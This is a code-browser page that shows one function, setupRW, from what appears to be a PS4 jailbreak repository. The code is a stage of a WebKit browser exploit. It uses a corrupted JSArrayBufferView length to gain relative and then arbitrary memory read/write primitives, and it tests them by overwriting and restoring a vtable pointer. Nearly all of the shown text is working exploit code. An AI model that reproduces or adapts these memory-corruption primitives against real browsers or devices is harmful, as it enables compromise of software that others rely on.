MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / setupRW

Function setupRW

restore/75x/ps4.js:51–125  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

49
50/* Executed after deleteBubbleTree */
51function setupRW() {
52 /* Now the m_length of the JSArrayBufferView should be 0xffffff01 */
53 for (let i = 0; i < g_arr_ab_3.length; i++) {
54 if (g_arr_ab_3[i].length > 0xff) {
55 g_relative_rw = g_arr_ab_3[i];
56 debug_log("[+] Succesfully got a relative R/W");
57 break;
58 }
59 }
60 if (g_relative_rw === null)
61 die("[!] Failed to setup a relative R/W primitive");
62
63 debug_log("[+] Setting up arbitrary R/W");
64
65 /* Retrieving the ArrayBuffer address using the relative read */
66 let diff = g_jsview_leak.sub(g_timer_leak).low32() - LENGTH_STRINGIMPL + 1;
67 let ab_addr = new Int64(str2array(g_relative_read, 8, diff + OFFSET_JSAB_VIEW_VECTOR));
68
69 /* Does the next JSObject is a JSView? Otherwise we target the previous JSObject */
70 let ab_index = g_jsview_leak.sub(ab_addr).low32();
71 if (g_relative_rw[ab_index + LENGTH_JSVIEW + OFFSET_JSAB_VIEW_LENGTH] === LENGTH_ARRAYBUFFER)
72 g_ab_index = ab_index + LENGTH_JSVIEW;
73 else
74 g_ab_index = ab_index - LENGTH_JSVIEW;
75
76 /* Overding the length of one JSArrayBufferView with a known value */
77 g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0x41;
78
79 /* Looking for the slave JSArrayBufferView */
80 for (let i = 0; i < g_arr_ab_3.length; i++) {
81 if (g_arr_ab_3[i].length === 0x41) {
82 g_ab_slave = g_arr_ab_3[i];
83 g_arr_ab_3 = null;
84 break;
85 }
86 }
87 if (g_ab_slave === null)
88 die("[!] Didn't found the slave JSArrayBufferView");
89
90 /* Extending the JSArrayBufferView length */
91 g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH] = 0xff;
92 g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 1] = 0xff;
93 g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 2] = 0xff;
94 g_relative_rw[g_ab_index + OFFSET_JSAB_VIEW_LENGTH + 3] = 0xff;
95
96 debug_log("[+] Testing arbitrary R/W");
97
98 let saved_vtable = read64(guess_htmltextarea_addr);
99 write64(guess_htmltextarea_addr, new Int64("0x4141414141414141"));
100 if (!read64(guess_htmltextarea_addr).equals("0x4141414141414141"))
101 die("[!] Failed to setup arbitrary R/W primitive");
102
103 debug_log("[+] Succesfully got arbitrary R/W!");
104
105 /* Restore the overidden vtable pointer */
106 write64(guess_htmltextarea_addr, saved_vtable);
107
108 /* Cleanup memory */

Callers

nothing calls this directly

Calls 7

debug_logFunction · 0.70
dieFunction · 0.70
str2arrayFunction · 0.70
read64Function · 0.70
write64Function · 0.70
cleanupFunction · 0.70
subMethod · 0.45

Tested by

no test coverage detected